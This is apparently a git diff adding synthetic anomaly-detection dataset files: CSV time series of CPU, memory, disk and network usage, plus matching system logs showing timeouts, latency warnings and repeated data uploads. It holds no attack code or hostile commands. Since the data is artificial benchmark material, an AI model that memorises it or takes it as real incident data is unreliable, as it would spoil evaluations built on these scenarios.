10:05:50 systemd[1]: Started Session 170 of user ubuntu. +Aug 24 10:05:55 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5045 ms. +Aug 24 10:06:00 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:06:05 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2863ms +Aug 24 10:06:10 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 10:06:15 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5076 ms. +Aug 24 10:06:15 web-app[1234]: INFO: User authentication successful for user "test-user" +Aug 24 10:06:20 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:06:25 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2815ms +Aug 24 10:06:30 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 10:06:35 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5068 ms. +Aug 24 10:06:40 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:06:40 systemd[1]: Started Session 180 of user ubuntu. +Aug 24 10:06:45 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2536ms +Aug 24 10:06:50 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 10:06:55 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5035 ms. +Aug 24 10:07:00 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:07:05 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2582ms +Aug 24 10:07:10 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 10:07:15 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5005 ms. +Aug 24 10:07:20 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:07:25 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2943ms diff --git a/anom_dataset/scenario_8/anom_8_16.csv b/anom_dataset/scenario_8/anom_8_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..3c6358b3a7f795f1b026cfde2d0347f051b8904b --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22 10:00:00+00:00,18.41077432917316,36.7480861130836,27.465690341939286,1.0732750763135916,1.2608538390014288 +2025-08-22 10:00:05+00:00,13.88995030813352,44.45178075603709,20.446773049915723,0.5023822961281614,3.062262698772633 +2025-08-22 10:00:10+00:00,17.28954211328134,43.2322158711953,24.78626946002969,1.4957837926510664,6.2220627076585595 +2025-08-22 10:00:15+00:00,14.592314796434048,35.953941953793986,27.86808854825403,1.4560329707368274,8.329023382778251 +2025-08-22 10:00:20+00:00,16.46240885216929,35.21311154776201,27.551441363746292,0.6589101221884289,10.154422148677979 +2025-08-22 10:00:25+00:00,18.555787746781267,39.10237674841957,26.612454689543217,1.012033527586274,13.42179210910953 +2025-08-22 10:00:30+00:00,19.425641808158918,36.798005441777335,29.026601232309314,0.9780408746288773,15.774151279263092 +2025-08-22 10:00:35+00:00,13.96587495576143,36.42202890742752,25.251058356527132,1.2519536888616798,17.973266650361747 +2025-08-22 10:00:40+00:00,19.347535201864588,44.402147454092194,23.820104179029727,0.9709205689990529,19.90339605630845 +2025-08-22 10:00:45+00:00,15.124203914785436,39.308821381988004,23.556100731689714,0.530097681061494,22.55907035104468 +2025-08-22 10:00:50+00:00,18.05524403467284,41.7583605820651,27.05237063256064,0.9696158300504896,24.85481713809331 +2025-08-22 10:00:55+00:00,19.97887147083926,40.874094756483665,20.86958154375259,0.7448387366765299,27.75851348043588 +2025-08-22 10:01:00+00:00,12.877779351226387,44.33955689577765,21.081547654084176,1.1425801346050024,30.101429488102173 +2025-08-22 10:01:05+00:00,17.594537973628697,36.91524634094937,26.875726112017368,1.2970357154053191,32.49122679920546 +2025-08-22 10:01:10+00:00,13.099553810304997,37.86819179983189,25.859111322267072,1.298097008408565,34.802460678053805 +2025-08-22 10:01:15+00:00,13.576523695872002,38.11206840764356,23.827453748633047,1.090672594847013,37.2948299781886 +2025-08-22 10:01:20+00:00,10.137009419742268,36.49430257268032,26.519846960984207,1.3056865150878747,39.55178650579118 +2025-08-22 10:01:25+00:00,15.469738742837542,43.64733611116096,20.661199814110702,0.5448362027735083,41.728929481368745 +2025-08-22 10:01:30+00:00,15.274143872235406,35.21249169995193,23.878704626845174,1.3274084299751787,44.059451012814925 +2025-08-22 10:01:35+00:00,17.094665784679037,36.553898779040566,20.843230548245504,1.3584431407388662,46.95676714842074 +2025-08-22 10:01:40+00:00,15.236345191226146,41.09271094101109,28.914737887446456,1.17179235987135,49.492817685759555 +2025-08-22 10:01:45+00:00,11.497530392399142,42.265974511055006,27.259498540668083,1.1998834370271856,51.13056073649966 +2025-08-22 10:01:50+00:00,18.382475327490468,36.88114607969762,28.7287549779089,0.8125479848248705,53.63537353462758 +2025-08-22 10:01:55+00:00,10.88067875534676,44.38903468311347,24.46612019022037,1.21356570886448,56.81941670582076 +2025-08-22 10:02:00+00:00,13.651280623933676,35.60509012667562,26.829946921881536,0.918545927432387,58.73446412973033 +2025-08-22 10:02:05+00:00,19.355089628402453,43.9376613233986,27.05507949840623,0.9016116947502701,61.381412504409745 +2025-08-22 10:02:10+00:00,18.129313972365495,39.26070221238171,22.576596608691325,1.2864613007262178,63.5279501044134 +2025-08-22 10:02:15+00:00,15.12945989531164,42.70874403356717,27.641072828863216,0.7063344049374185,65.7193469657657 +2025-08-22 10:02:20+00:00,11.578867664241406,36.60036487231423,23.38006174778526,1.148338783451318,68.3585149209197 +2025-08-22 10:02:25+00:00,15.858138174297386,42.320342078509945,26.29122957523167,1.3335843178159088,70.547625773541 +2025-08-22 10:02:30+00:00,12.363611618583459,39.462293981764816,21.26780019471521,0.5466583728144314,73.1654607988074 +2025-08-22 10:02:35+00:00,19.076736217352263,41.255588669052216,27.76236056795277,0.8451523608426044,75.7075581399389 +2025-08-22 10:02:40+00:00,10.796911894218654,44.03358164211555,28.754999399843115,1.3824682740415557,78.37619796315815 +2025-08-22 10:02:45+00:00,14.78778330239968,40.31958410533052,26.237778700048647,1.4350674136821229,80.65697236899908 +2025-08-22 10:02:50+00:00,19.45256449496499,37.662954093117705,22.882442573266218,0.8395974300499566,82.78156173503788 +2025-08-22 10:02:55+00:00,10.596496396173693,40.943979155512196,21.845605451319315,1.4007154173444363,85.65822097863432 +2025-08-22 10:03:00+00:00,14.512532836541808,42.5190397049794,26.862851637649328,0.9793428504563959,87.8896355452275 +2025-08-22 10:03:05+00:00,11.179543094724279,35.206126762392124,25.65585328560382,0.8271463888704372,90.29666543602167 +2025-08-22 10:03:10+00:00,14.421946569761776,39.43704586538715,22.97779770465359,1.4691535493827497,92.87771856889756 +2025-08-22 10:03:15+00:00,11.227422279995928,37.02009282825952,29.669753460058573,1.1901706811848083,95.19267223206094 +2025-08-22 10:03:20+00:00,89.35771692409723,42.636762320759075,22.173010455751623,0.5288183358819398,99.07152791531459 +2025-08-22 10:03:25+00:00,91.8959660023675,41.047725257467,22.436298587795385,1.4311879966504928,99.98787018200602 +2025-08-22 10:03:30+00:00,89.05919904667377,36.28378475162359,20.72211944826687,0.5669881630210205,99.71042812843051 +2025-08-22 10:03:35+00:00,94.17987633018501,39.01946130287969,25.940234247289286,1.190019415565383,99.0640037226068 +2025-08-22 10:03:40+00:00,85.83752739942506,38.08159006623378,21.690965524194507,0.5574192913666745,100.6458176257151 +2025-08-22 10:03:45+00:00,94.69573318148673,39.11886971900733,24.49152678748375,0.5398554911672209,99.16469472635067 +2025-08-22 10:03:50+00:00,88.28388853428078,40.465312285232116,28.32114805543862,0.9896598305594669,100.59880215174753 +2025-08-22 10:03:55+00:00,85.70913294283794,41.60826620756909,26.898464550815493,1.3167966219643623,100.0503693079545 +2025-08-22 10:04:00+00:00,91.47004406031606,44.02339144657769,22.19843603442167,0.633222563643227,99.66095540870289 +2025-08-22 10:04:05+00:00,94.50192307164049,42.96186032611038,23.870813199072394,1.4302807228354388,99.31725094414634 +2025-08-22 10:04:10+00:00,86.49643936908582,43.90230591029248,26.428853110546378,1.1947263255500005,99.98845844668395 +2025-08-22 10:04:15+00:00,17.048314753301508,40.05531134436667,25.458314356346754,0.59349586592251,100.55574407546099 +2025-08-22 10:04:20+00:00,16.766944402779767,37.3735541358028,21.294492010156567,1.2137937537686347,99.48670833505871 +2025-08-22 10:04:25+00:00,20.51109235654886,43.23704701495963,27.197292851785654,1.3021110613411693,99.48481921158913 +2025-08-22 10:04:30+00:00,17.7400937810549,36.02387340760354,22.91839190815786,1.079608986939855,100.73204324352601 +2025-08-22 10:04:35+00:00,16.940108942962706,38.6358160885565,22.512148462098985,1.4428163704030061,100.46813261206289 +2025-08-22 10:04:40+00:00,16.728311640259967,37.013090751049724,21.377747886801014,1.221623716142537,99.29989133084449 +2025-08-22 10:04:45+00:00,22.76887475230832,36.60501182662448,27.274394741410937,1.4216201283080525,100.6090992346809 +2025-08-22 10:04:50+00:00,16.8527961787775,36.54539584222808,23.428493853892903,1.2229199236967934,99.74319174331346 +2025-08-22 10:04:55+00:00,15.578226141776948,43.40871516224749,20.90589234910424,1.3817382626590629,100.94823964473535 +2025-08-22 10:05:00+00:00,22.764129641946276,44.484111275958696,27.67274380343703,1.1429102974183336,99.14287186970925 +2025-08-22 10:05:05+00:00,21.86965714348594,44.13293604955702,24.518510349986215,0.6157731578962551,100.04705224619546 +2025-08-22 10:05:10+00:00,20.343932667719397,40.502550917057505,29.289673124829566,1.4705171776930543,99.9549973405289 +2025-08-22 10:05:15+00:00,23.927759083005693,41.65755156421508,28.386055096504037,0.791012460510199,100.5180009122716 +2025-08-22 10:05:20+00:00,16.883320464518235,37.06550977757894,25.399519441708428,1.1027466242647477,99.31735136867289 +2025-08-22 10:05:25+00:00,16.75783248840223,35.29895398814148,21.307429011422986,0.8799885254198746,99.13712160331751 +2025-08-22 10:05:30+00:00,22.131350466174776,43.13146409869237,29.722591032738784,0.8359481647382436,100.59742901878207 +2025-08-22 10:05:35+00:00,20.22611997922549,36.72858169377063,29.88861531407025,1.0051361240866525,99.42781089240715 +2025-08-22 10:05:40+00:00,16.89789409530306,37.91130603179094,26.13668832012086,0.6338057351149415,100.61447974286943 +2025-08-22 10:05:45+00:00,16.576287099747788,42.22483868566774,27.735674955466557,0.7611170628682485,100.998356770575 +2025-08-22 10:05:50+00:00,19.684398208981523,41.77485834282891,21.460620128581784,0.7798962776279138,99.977003398885 +2025-08-22 10:05:55+00:00,19.268958334037993,41.666187466115595,25.021863123813635,1.4064095796211658,99.98922326966984 +2025-08-22 10:06:00+00:00,21.37767852495388,37.89824870983721,22.240256877562807,1.1950419472466394,100.54727285225641 +2025-08-22 10:06:05+00:00,24.8297031349747,42.034963298851395,29.68205118918198,1.313582328053837,99.18123316546169 +2025-08-22 10:06:10+00:00,17.729319298122327,35.15672496698628,20.698024729173056,0.8170681512736049,100.66744896261075 +2025-08-22 10:06:15+00:00,22.7769168334614,44.77425032800865,29.820245050856172,0.7870753306276964,100.54953637309141 +2025-08-22 10:06:20+00:00,20.656774681565807,37.99629463566082,25.336937515623003,0.9927397037718283,99.72042632745544 +2025-08-22 10:06:25+00:00,23.364318241295177,36.43175279675936,20.78356400533954,0.8150482851921705,99.92394245698655 +2025-08-22 10:06:30+00:00,19.51324165355914,36.897275101992726,20.007149910726103,0.9861826578696231,99.63625308648216 +2025-08-22 10:06:35+00:00,20.22369090619961,43.715097830861495,20.405205232583825,1.0669646928111773,99.62945809859276 +2025-08-22 10:06:40+00:00,15.566082833870487,41.93251035740872,22.283605577174857,0.9847735885654894,100.03734267419036 +2025-08-22 10:06:45+00:00,17.616710356876375,44.644421989691594,23.461252156438718,0.8214345001790816,100.52452618513325 +2025-08-22 10:06:50+00:00,15.357237713273626,36.13984342612022,26.157729245012554,1.0517910417976697,100.11292176743859 +2025-08-22 10:06:55+00:00,19.03777039024139,35.18503053439397,21.21004625883682,1.2145782215730403,99.6175700409438 +2025-08-22 10:07:00+00:00,22.8056014522683,36.790970053700306,21.176010211048833,1.0420697067390188,100.71119715644335 +2025-08-22 10:07:05+00:00,24.018558555819904,35.81252927742237,21.961996094409297,1.2648874989044616,99.85734491562665 +2025-08-22 10:07:10+00:00,16.792012728211365,39.89384435096146,27.325740736369035,1.3377915998466074,100.74467697484137 +2025-08-22 10:07:15+00:00,19.29213585189173,41.23410498671664,28.326648470198048,0.7809379936634644,99.30392891809869 +2025-08-22 10:07:20+00:00,17.05208047321241,35.61987883250974,28.437664083355,1.1633553356627317,99.89509378401799 +2025-08-22 10:07:25+00:00,24.308311880098994,38.86524302035107,29.208831170525794,1.3360682234951655,100.02281154500336 diff --git a/anom_dataset/scenario_8/anom_8_16.log b/anom_dataset/scenario_8/anom_8_16.log new file mode 100644 index 0000000000000000000000000000000000000000..b91983dea0d3d915bfaadf1b7581207d8e0b8115 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_16.log @@ -0,0 +1,64 @@ +Aug 22 10:00:00 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 10:00:00 systemd[1]: Started Session 0 of user ubuntu. +Aug 22 10:00:25 systemd[1]: Started Session 5 of user ubuntu. +Aug 22 10:00:35 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 10:00:50 systemd[1]: Started Session 10 of user ubuntu. +Aug 22 10:01:10 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:15 systemd[1]: Started Session 15 of user ubuntu. +Aug 22 10:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 10:01:40 systemd[1]: Started Session 20 of user ubuntu. +Aug 22 10:01:45 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:05 systemd[1]: Started Session 25 of user ubuntu. +Aug 22 10:02:20 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 22 10:02:30 systemd[1]: Started Session 30 of user ubuntu. +Aug 22 10:02:55 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:55 systemd[1]: Started Session 35 of user ubuntu. +Aug 22 10:03:20 api-gateway[4567]: ERROR request to 'billing-service' timed out after 4768ms +Aug 22 10:03:20 kernel: net_ratelimit: 22 callbacks suppressed +Aug 22 10:03:30 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 2315ms +Aug 22 10:03:30 web-app[8765]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 22 10:03:40 api-gateway[4567]: ERROR request to 'billing-service' timed out after 5092ms +Aug 22 10:03:45 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 2230ms +Aug 22 10:03:45 kernel: net_ratelimit: 45 callbacks suppressed +Aug 22 10:04:00 api-gateway[4567]: ERROR request to 'billing-service' timed out after 5514ms +Aug 22 10:04:00 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 2594ms +Aug 22 10:04:05 web-app[8765]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 22 10:04:10 kernel: net_ratelimit: 15 callbacks suppressed +Aug 22 10:04:15 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 2955ms +Aug 22 10:04:20 api-gateway[4567]: ERROR request to 'billing-service' timed out after 4733ms +Aug 22 10:04:30 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 4524ms +Aug 22 10:04:35 kernel: net_ratelimit: 37 callbacks suppressed +Aug 22 10:04:40 api-gateway[4567]: ERROR request to 'billing-service' timed out after 4681ms +Aug 22 10:04:40 web-app[8765]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 22 10:04:45 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 3723ms +Aug 22 10:05:00 api-gateway[4567]: ERROR request to 'billing-service' timed out after 5905ms +Aug 22 10:05:00 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 4919ms +Aug 22 10:05:00 kernel: net_ratelimit: 20 callbacks suppressed +Aug 22 10:05:15 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 4755ms +Aug 22 10:05:15 web-app[8765]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 22 10:05:20 api-gateway[4567]: ERROR request to 'billing-service' timed out after 4577ms +Aug 22 10:05:25 kernel: net_ratelimit: 37 callbacks suppressed +Aug 22 10:05:30 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 4535ms +Aug 22 10:05:40 api-gateway[4567]: ERROR request to 'billing-service' timed out after 5104ms +Aug 22 10:05:45 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 3432ms +Aug 22 10:05:50 kernel: net_ratelimit: 19 callbacks suppressed +Aug 22 10:05:50 web-app[8765]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 22 10:06:00 api-gateway[4567]: ERROR request to 'billing-service' timed out after 4028ms +Aug 22 10:06:00 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 2070ms +Aug 22 10:06:15 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 2646ms +Aug 22 10:06:15 kernel: net_ratelimit: 45 callbacks suppressed +Aug 22 10:06:20 api-gateway[4567]: ERROR request to 'billing-service' timed out after 5986ms +Aug 22 10:06:25 web-app[8765]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 22 10:06:30 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 3723ms +Aug 22 10:06:40 api-gateway[4567]: ERROR request to 'billing-service' timed out after 4945ms +Aug 22 10:06:40 kernel: net_ratelimit: 21 callbacks suppressed +Aug 22 10:06:45 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 4602ms +Aug 22 10:07:00 api-gateway[4567]: ERROR request to 'billing-service' timed out after 5097ms +Aug 22 10:07:00 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 3551ms +Aug 22 10:07:00 web-app[8765]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination +Aug 22 10:07:05 kernel: net_ratelimit: 30 callbacks suppressed +Aug 22 10:07:15 api-gateway[4567]: WARNING high latency detected for service 'user-service', response time: 2376ms +Aug 22 10:07:20 api-gateway[4567]: ERROR request to 'billing-service' timed out after 4933ms diff --git a/anom_dataset/scenario_8/anom_8_17.csv b/anom_dataset/scenario_8/anom_8_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..6e73f755d2769cdcba356ae1eafb1e0fcc9c490b --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,14.62,44.29,27.39,0.52,5.0 +2025-07-15T14:30:05Z,14.52,47.19,28.25,0.68,6.58 +2025-07-15T14:30:10Z,16.5,44.39,31.92,0.46,8.15 +2025-07-15T14:30:15Z,16.05,48.45,35.45,0.46,9.73 +2025-07-15T14:30:20Z,15.38,46.9,30.13,0.25,11.31 +2025-07-15T14:30:25Z,14.13,45.78,26.29,0.39,12.88 +2025-07-15T14:30:30Z,17.7,44.72,34.93,0.59,14.46 +2025-07-15T14:30:35Z,14.91,46.2,29.57,0.43,16.03 +2025-07-15T14:30:40Z,13.84,45.04,28.53,0.62,17.61 +2025-07-15T14:30:45Z,15.56,46.49,29.91,0.52,19.19 +2025-07-15T14:30:50Z,16.79,46.96,25.14,0.62,20.76 +2025-07-15T14:30:55Z,16.27,43.4,29.42,0.23,22.34 +2025-07-15T14:31:00Z,16.28,42.93,33.49,0.49,23.92 +2025-07-15T14:31:05Z,15.23,42.24,31.68,0.45,25.49 +2025-07-15T14:31:10Z,15.78,45.06,31.2,0.52,27.07 +2025-07-15T14:31:15Z,15.41,44.39,33.95,0.52,28.64 +2025-07-15T14:31:20Z,16.21,48.68,30.76,0.47,30.22 +2025-07-15T14:31:25Z,15.71,45.48,30.69,0.37,31.8 +2025-07-15T14:31:30Z,13.33,42.63,33.64,0.56,33.37 +2025-07-15T14:31:35Z,15.62,45.16,33.13,0.64,34.95 +2025-07-15T14:31:40Z,11.74,46.16,33.39,0.47,36.53 +2025-07-15T14:31:45Z,17.79,44.64,27.02,0.4,38.1 +2025-07-15T14:31:50Z,15.13,45.11,24.6,0.42,39.68 +2025-07-15T14:31:55Z,10.78,47.73,25.53,0.33,41.25 +2025-07-15T14:32:00Z,14.2,45.57,28.09,0.7,42.83 +2025-07-15T14:32:05Z,13.77,42.71,31.86,0.56,44.41 +2025-07-15T14:32:10Z,15.99,45.58,33.07,0.5,45.98 +2025-07-15T14:32:15Z,14.47,44.63,31.37,0.5,47.56 +2025-07-15T14:32:20Z,16.87,44.92,29.6,0.5,49.14 +2025-07-15T14:32:25Z,16.16,43.34,28.83,0.6,50.71 +2025-07-15T14:32:30Z,12.69,42.97,32.14,0.57,52.29 +2025-07-15T14:32:35Z,13.02,44.74,29.14,0.45,53.86 +2025-07-15T14:32:40Z,11.02,42.95,23.88,0.47,55.44 +2025-07-15T14:32:45Z,14.84,44.69,29.27,0.42,57.02 +2025-07-15T14:32:50Z,20.53,44.88,28.21,0.45,58.59 +2025-07-15T14:32:55Z,13.86,44.36,31.34,0.46,60.17 +2025-07-15T14:33:00Z,10.96,44.4,30.62,0.52,61.75 +2025-07-15T14:33:05Z,14.66,44.46,32.54,0.48,63.32 +2025-07-15T14:33:10Z,18.52,44.79,31.2,0.7,64.9 +2025-07-15T14:33:15Z,15.85,46.34,33.7,0.56,66.47 +2025-07-15T14:33:20Z,18.12,46.72,29.07,0.45,68.05 +2025-07-15T14:33:25Z,15.5,48.46,27.35,0.54,69.63 +2025-07-15T14:33:30Z,13.99,43.01,32.53,0.6,71.2 +2025-07-15T14:33:35Z,16.56,42.75,27.44,0.4,72.78 +2025-07-15T14:33:40Z,16.94,47.99,33.42,0.62,74.36 +2025-07-15T14:33:45Z,15.94,46.44,33.87,0.62,75.93 +2025-07-15T14:33:50Z,14.99,47.93,36.03,0.6,77.51 +2025-07-15T14:33:55Z,13.91,44.2,32.52,0.39,79.08 +2025-07-15T14:34:00Z,14.45,45.99,24.95,0.42,80.66 +2025-07-15T14:34:05Z,14.83,43.54,29.75,0.46,82.24 +2025-07-15T14:34:10Z,15.24,49.19,31.51,0.53,83.81 +2025-07-15T14:34:15Z,17.84,43.21,26.96,0.48,85.39 +2025-07-15T14:34:20Z,13.13,45.15,34.68,0.74,86.97 +2025-07-15T14:34:25Z,14.07,46.83,25.82,0.48,88.54 +2025-07-15T14:34:30Z,18.06,46.24,27.12,0.48,90.12 +2025-07-15T14:34:35Z,14.94,41.93,28.88,0.44,91.69 +2025-07-15T14:34:40Z,13.4,42.22,26.95,0.43,93.27 +2025-07-15T14:34:45Z,13.41,44.47,28.88,0.42,94.85 +2025-07-15T14:34:50Z,15.81,47.97,29.51,0.52,96.42 +2025-07-15T14:34:55Z,16.26,44.78,23.3,0.43,98.0 +2025-07-15T14:35:00Z,93.56,46.52,32.0,0.48,100.87 +2025-07-15T14:35:05Z,90.66,47.4,34.19,0.37,99.77 +2025-07-15T14:35:10Z,94.83,45.12,33.22,0.55,100.29 +2025-07-15T14:35:15Z,89.31,46.85,28.2,0.59,99.74 +2025-07-15T14:35:20Z,72.17,41.92,34.37,0.45,99.15 +2025-07-15T14:35:25Z,87.0,42.49,34.49,0.37,99.96 +2025-07-15T14:35:30Z,81.41,43.98,32.02,0.57,100.25 +2025-07-15T14:35:35Z,72.96,45.51,33.02,0.71,100.64 +2025-07-15T14:35:40Z,91.69,45.65,35.44,0.54,100.12 +2025-07-15T14:35:45Z,78.57,43.65,28.16,0.43,99.13 +2025-07-15T14:35:50Z,88.55,41.41,32.3,0.4,100.04 +2025-07-15T14:35:55Z,83.05,47.63,29.48,0.42,99.6 +2025-07-15T14:36:00Z,92.18,43.91,28.44,0.54,100.74 +2025-07-15T14:36:05Z,81.73,45.38,29.37,0.43,100.1 +2025-07-15T14:36:10Z,89.43,43.51,31.33,0.43,99.76 +2025-07-15T14:36:15Z,91.74,44.6,30.43,0.47,99.52 +2025-07-15T14:36:20Z,87.93,45.64,28.86,0.47,100.17 +2025-07-15T14:36:25Z,86.49,46.1,28.64,0.65,99.93 +2025-07-15T14:36:30Z,78.29,44.7,30.61,0.39,99.59 +2025-07-15T14:36:35Z,85.15,47.11,26.14,0.51,100.18 +2025-07-15T14:36:40Z,87.71,47.31,27.48,0.63,100.34 +2025-07-15T14:36:45Z,90.31,47.06,28.14,0.56,99.51 +2025-07-15T14:36:50Z,81.83,46.7,31.52,0.5,100.42 +2025-07-15T14:36:55Z,87.77,43.44,28.2,0.38,100.39 +2025-07-15T14:37:00Z,79.34,47.34,32.14,0.42,100.44 +2025-07-15T14:37:05Z,92.34,42.06,33.16,0.51,99.77 +2025-07-15T14:37:10Z,86.9,45.65,32.91,0.43,100.23 +2025-07-15T14:37:15Z,77.66,44.13,30.26,0.38,100.66 +2025-07-15T14:37:20Z,84.62,45.61,28.59,0.41,99.14 +2025-07-15T14:37:25Z,89.37,46.84,28.65,0.53,100.4 diff --git a/anom_dataset/scenario_8/anom_8_17.log b/anom_dataset/scenario_8/anom_8_17.log new file mode 100644 index 0000000000000000000000000000000000000000..722d5cf6d88f57b853d9931b2a659875bc657c3b --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_17.log @@ -0,0 +1,90 @@ +Jul 15 14:30:00 web-app[1123]: INFO GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:30:05 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:30:10 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:30:15 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:30:20 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:30:25 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:30:30 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:30:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d9b4f-xyz12 +Jul 15 14:30:40 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:30:45 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:30:50 systemd[1]: Started Session 20 of user service-account. +Jul 15 14:30:55 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:31:00 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:31:05 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:31:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d9b4f-xyz12 +Jul 15 14:31:15 web-app[1123]: INFO GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:31:20 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:31:25 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:31:30 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:31:35 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:31:40 systemd[1]: Started Session 30 of user service-account. +Jul 15 14:31:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d9b4f-xyz12 +Jul 15 14:31:50 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:31:55 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:00 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:05 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:10 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:15 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d9b4f-xyz12 +Jul 15 14:32:25 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:30 web-app[1123]: INFO GET /api/v1/user/profile HTTP/1.1 